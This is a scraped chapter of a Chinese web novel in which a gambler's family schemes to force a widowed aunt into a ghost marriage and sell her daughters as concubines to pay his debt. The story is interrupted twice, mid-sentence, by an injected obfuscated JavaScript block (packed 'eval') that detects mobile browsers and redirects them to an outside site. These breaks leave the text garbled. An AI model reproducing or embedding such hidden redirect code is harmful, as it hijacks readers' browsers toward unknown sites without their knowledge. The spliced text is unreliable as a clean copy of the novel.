又是一个忙碌而又充实的早晨。 - 却说那天元平因为假银票惨遭赌坊打手的群殴,浑身上下没一块好肉,还掉了两颗牙。 赌坊的管事让他签下欠条,还说如果五天之内他还不上三百两,就会砍了他的手。 元平当场吓尿,连滚带爬地逃出赌坊。 回到桃源村,元平翻出私房钱,发现剩下的一千两银票也是假的,那些碎银子更是成了一堆破石头! 元平第一反应是朱氏偷换了他的钱,气得吐血三升,马不停蹄地赶往元盛所在的大河镇。 见到朱氏,元平上去就是一巴掌:“贱人,你把我的钱藏哪儿了?” 朱氏被这一巴掌打懵了:“什么钱?” 元平气笑了:“你还装傻?就是我藏在鸡棚里的钱!” 朱氏瞪眼:“你背着老娘藏私房钱?” 都要被砍手了,元平哪里还会怕这个婆娘:“是又如何?赶紧把钱拿出来,我还要还赌债。” “所以你不仅藏私房钱,还欠了赌坊的钱?”见元平点头,朱氏气得一佛出世二佛升天,“你个混账,看老娘不打死你!” 两口子扭打在一起,你挠我一下,我给你一拳,打得不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15034872|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开交,屋子里的东西噼里啪啦砸了一地,惹得周围人翘首围观,看足了笑话。 元盛从私塾回来,看到鼻青脸肿的爹娘,屋子里的一地狼藉和左邻右舍看热闹的眼神,强忍怒火问及缘由。 “所以,爹在赌坊赢的一千二百两被人换成了假的?” 元平点头,嘴里骂骂咧咧:“要是让我知道是哪个龟孙做的,我打不死他!” 元盛:“娘您并不知道这一千二百两的存在,对吗?” 朱氏点头,还是气不过,踹了元平屁股一脚。 元盛沉吟片刻:“会不会村里人偷换了银票?” 他也气元平瞒着他们藏钱,但眼下当务之急是尽快追回失窃的银票。 元平眼珠子滴溜转,忽然想到什么,一拍大腿:“我之前把钱藏在鸡棚里,盛哥儿你把房子抵给杜家,我去拿钱正好碰上杜家那几个赔钱货。” 朱氏拍桌:“肯定是杜青棠那个死丫头,她一肚子坏水,除了她我想不出第二个这么缺德的人!” 元平跳下炕:“不行,我得把钱要回来,赌坊只给了我五天期限,要是还不上钱,他们就要砍了我的手。” 朱氏大惊:“砍了你的手?这可不行,我跟你一起去!” 两人眼看要冲出门,却被元盛叫住:“爹,娘,你们有证据证明是杜青棠偷换了银票吗?” 自然没有。 “杜青棠为人谨慎狡猾,绝不会留下任何的证据和把柄,便是告到官府,县令大人也只会认为你们痴人说梦,无中生有,最后没能惩治杜青棠,说不定还会以妨碍公务的罪名被关进大牢。” 元平吓得两股战战,面无人色,扶着墙才没一屁股坐到地上去:“那、那咋办?这可是我辛苦攒了十几年的私房钱!” 朱氏瞪他:“你个死货,老娘真想抽死你!你要是不藏着掖着,咱家早就搬到县城去了,到时候做点营生,这会儿估计已经在府城当富贵老爷夫人了!” 元平缩脖子,小声咕哝:“这年头哪个男人手里没点钱?” 朱氏恨得牙痒痒,踹他一脚,问元盛:“盛哥儿,你说现在该怎么办?” 元盛来回踱步,半晌后开口:“她不承认,咱们拿她没办法,那就只能另辟蹊径。” 元平:“啥意思?” 元盛眯眼:“胡家不是在找人配阴婚?” 朱氏点头:“是有这么回事。” 胡家就住在这条胡同里,前阵子他家那又瘸又瞎的小儿子染病死了,胡老娘不忍他年过四十,到死都还是个光棍,咬牙拿出这些年的私房钱,说是要给死去的小儿子找个媳妇。 她还不要死人配阴婚,指明了要活着的。 可就算聘礼高达一百两,也没人把自家姑娘往火坑里推。 眼看过了头七,还没找到合适的人选,胡老娘这些天急得到处乱窜,却仍是一无所获。 元盛表情阴冷,像是草丛里嘶嘶吐信子的毒蛇:“女债母偿,姑母八字极好,就让她嫁过去吧。” 35.035 朱氏和元平面面相觑,似乎一时间有些反应不过来。 良久,朱氏才开口:“你是说,让她跟胡家死了的那个配阴婚?” 元盛颔首:“不错,聘礼可解燃眉之急,顺便给杜青棠一点教训。” 他好些日子没见谢光了,以谢光的手段,想来杜青棠在清苑书院的日子很不好过。 但这远远不够,无法泄他心头之恨。 他要以其人之道,还治其人之身,让杜青棠声名狼藉,在整个清苑县无立足之地。 非但如此,他还要让杜青棠家破人亡。 元氏另嫁给一个死人,杜青棠那几个姐姐他也不会放过,他会榨干她们所有的价值,然后送她们归西。 这是他对杜青棠的报复。 他要让杜青棠后悔当初所为。 朱氏眼睛一亮,紧接着又摇头:“这事不成,她一个半截身子入土的寡妇,胡家又不是傻子,怎么会要她?” 元盛气定神闲道:“他们没有其他选择。” 朱氏一想也是,黄花闺女都不愿嫁去胡家守寡,那就只能退而求其次,找个寡妇。 元氏生得貌美,十几年的磋磨也只是让她憔悴了些,稍微拾掇拾掇,看起来不过三十来岁。 朱氏心下大定,火急火燎往外走:“我现在就去胡家。” 得赶紧把这事儿定下来,那可是足足一百两聘礼,断不能便宜了旁人。 元平没说这个主意好还是不好,只问:“什么时候把你姑嫁过去?一百两不够,还差二百两怎么办?” 朱氏心里发愁,驻足琢磨好半晌:“不如把元雪嫁出去,换一笔聘礼?” “不行,元雪我另有安排。”元盛语气强硬,不容置喙。 谢光的三叔膝下无子,房中妻妾生的都是女儿,且正妻常年卧病在床,活不了两年。 等那个女人死了,就让元雪嫁过去。 他曾经救过谢光一命,单凭这救命之恩,谢家也一定会同意。 只要元雪诞下三房独子,等到谢光三叔百年之后,三房的一切不都是他元盛的? 元盛从书箱中取出谢光给他的银票:“我这里有一百两,爹您拿去还债吧。” 元平欣喜若狂,忙不迭接过银票:“不愧是爹的好儿子,没白疼!” 元盛心下嗤笑,别给他添麻烦他就谢天谢地了。 可惜事与愿违,他的这对爹娘只会给他拖后腿,让他颜面尽失。 “至于剩下的一百两,烦请爹娘四处打听打听,看哪家要买妾,杜家那几个生得水灵,凑齐一百两不在话下。” 如此一来,不费一兵一卒便可还清赌债! 朱氏精神一振:“这事儿不用咱们出面,只管让你姑去做,父母之命媒妁之言,村里人便是要骂,也只会骂你姑。” 元盛正有此意:“天色还早,娘您现在就去胡家,明日再去打听消息。” “欸,好!” 解决了赌债,朱氏喜上眉梢,也不计较元平藏私房钱的事了,风风火火出门,不消半个时辰就回来了。 “成了!一开始胡老娘嫌弃你姑年纪大,她那死鬼小儿子不喜欢,我好说歹说,应承她只要你姑嫁过去,可以跟胡老大胡老二生娃,到时候记在胡老三名下,胡老娘才答应。” 元氏虽年近四十,但老蚌怀珠不是没有,去年隔壁村还有个年逾五十的婆子生娃,闺女比最小的孙子小了五六岁,不知多少人背后说她不知羞耻。 就算不能生,胡老娘也只会怪元氏,而不是她朱翠花,先把钱骗到手再说。 元盛坐在灯下,半张脸没入阴影之中,显得阴森诡谲:“就这么定了,您二位明天就回去,尽快劝说姑母嫁过来。” “好。” “放心,这事儿只管交给我俩,保证让你姑服服帖帖嫁过去!” ...... 翌日,朱氏天一亮就出门,还真让她打听到了有关买妾的消息。 大河镇有个王财主,前阵子独子溺水而亡,正妻年老,无法再生育,便放出消息,欲纳妾绵延子嗣。 不过王家纳妾有讲究,以防妾诞下男丁后目无主母,进门前要签卖身契。 也就是说,名为纳妾,实则买个能生孩子的丫鬟。 王家的要求正合了朱氏的意,早饭都没顾上就回村去了。 元氏恰好在元家的老屋干活儿,朱氏见她,一改往日的横眉竖目,热情地迎上去:“姐,这阵子辛苦你了,打今儿起你什么事都不用做,只管歇着便是。” 元氏受宠若惊:“一点都不辛苦,你在那边照顾盛哥儿,我在家照顾平哥儿。” 朱氏被她这声“平哥儿”恶心得不轻,一度想要甩开她,但是正事要紧,硬是忍着作呕感拉元氏进屋。 “盛哥儿他娘,你咋回来了?” 朱氏亲热地握住元氏的手,艰难挤出两滴猫尿:“姐,元平欠了赌坊三百两,赌坊说要是五天之内还不上,就要砍了元平的手。” 元氏大骇:“三百两?平哥儿怎么还跑去赌钱了?咋还要砍手呢?” 朱氏捂脸啜泣:“姐,我实在没法子了,你可一定要救救元平啊。” “平哥儿是我兄弟,我肯定不会不管他,可就算我砸锅卖铁,也凑不齐三百两啊!”元氏又气又急,两眼泪汪汪,“平哥儿真是......这可如何是好?” 朱氏见她只知道哭,暗骂废物,低头哽咽着:“其实也不是没法子。” 元氏眼睛一亮:“什么法子?你快说!” 朱氏就把胡老三配阴婚的事儿说了,元氏大惊,摇着头往后缩:“这不行,我生是杜家的人,死是杜家的鬼......” 朱氏死死抓着元氏的手,不让她退缩:“姐,难道你忍心看元平被砍了手,变成一个废人吗?” 元氏当然不忍心,可她早已下定决心,要为杜老大守一辈子,否则百年之后去了地下,如何面对杜老大和杜家的列祖列宗? 朱氏咬牙,一巴掌扇元氏脸上:“你给我清醒一点!杜青棠那个死丫头忤逆不孝,五丫几个也都被杜青棠撺掇得不认你这个亲娘,难道你还指望她们给你养老送终?” “姐!”朱氏抓住元氏的肩膀,用力摇晃,“都说养儿防老,这些年你没儿子,腰杆子都直不起来,你还年轻,完全可以再生一个。胡老娘说了,只要你跟胡老大胡老二睡一觉,生下胡家的孩子,记下胡老三名下,胡家养你后半辈子。” 忤逆不孝的女儿和可以给她养老送终的儿子...... 不得不说,朱氏这话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15038449|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到元氏心坎上了。 她的心逐渐偏移,红着脸嗫嚅道:“可我嫁的是胡老三,咋能跟......” 朱氏一挥手:“你管他是谁,只要有儿子不就行了?” 元平跟着卖惨:“姐,爹娘临死前你可是答应他们要照顾好我,我要是被赌坊的人砍了手,还不如现在就死了,去地下跟爹娘团聚去!” 说着,元平作势要往墙上撞。 “平哥儿!”元氏吓坏了,赶紧扑上去拉住他。 元平捂着脸干嚎:“姐,求你救救我吧!我不想被砍手,不想死啊!” 元氏看着她从小护到大的兄弟,终究还是心软了。 “好,我答应。” 如果能救平哥儿,有自己的儿子,便是跟死人配阴婚,跟大伯哥二伯哥生娃,忍一忍就过去了。 ...... 说服了元氏给胡老三配阴婚,朱氏好声好气把人送走,跟元平相视一笑。 “成了!” “一百两!” 元平捻着八字须,激动地来回踱步:“我那几个外甥女个顶个的漂亮,一定要卖个好价钱。” 朱氏点头附和,不经意往外一瞥,发现杜七丫背着竹篓经过,眼珠一转,赶紧跑出去:“七丫!七丫!” 杜七丫刚从城里回来,把攒了半个月的绣品、木雕之类的东西卖了,挣的钱揣在兜里,沉甸甸鼓囊囊,让她的心跟羽毛似的,飘飘然飞到天上。 她要挣钱。 挣好多钱,买漂亮衣服,买漂亮珠花。 她要穿得好,吃得好,这样一来,就没人敢说她是赔钱货了。 正高兴呢,就听朱氏喊她。 都说黄鼠狼给鸡拜年,没安好心,杜七丫暗生警惕:“有事?” 朱氏瞄着杜七丫精致的圆脸蛋,她的容貌随了元氏,这阵子吃得好,气色也跟着变好,白里透红俊俏得很。 这种高级货色,一定能卖个好价钱! 朱氏算盘打得啪啪响,凑上去低声道:“七丫,我这里有一桩好亲事,你要不要?” 杜七丫:“好亲事能轮到我?” 朱氏噎了下,权当没听见:“是大河镇的王财主,他想要纳妾生儿子,我昨儿得了消息,当时就想到你。” 杜七丫最是爱财,一定会心动。 “王财主家可有钱了,住的是三进大院子,丫鬟小厮足足有十几个,你要是给他生了儿子,以后就是王家的老夫人,什么山珍海味、金银财宝还不是任你享用?” 杜七丫攥紧竹篓的肩带:“王财主应该有媳妇吧?一个妾能做王家的老夫人?” “王财主是有个媳妇,但她唯一的儿子死了,她又上了年纪不能再生,以后等你的孩子继承了王家,那么大的宅子还不是你说了算?” “七丫啊,舅母是为你好,与其随便嫁给一个地里刨食的,不如给王财主做妾,虽说身份上委屈了些,但是后半辈子的富贵稳了。” 朱氏朝她挤眉弄眼,笑眯眯地走了。 杜七丫健步如飞地往家走,心思却飘远了。 她不傻,当然知道朱氏不怀好意。 可朱氏说的那些太诱人了。 杜七丫低头看补丁叠着补丁的衣服,她无法拒绝,也不想拒绝。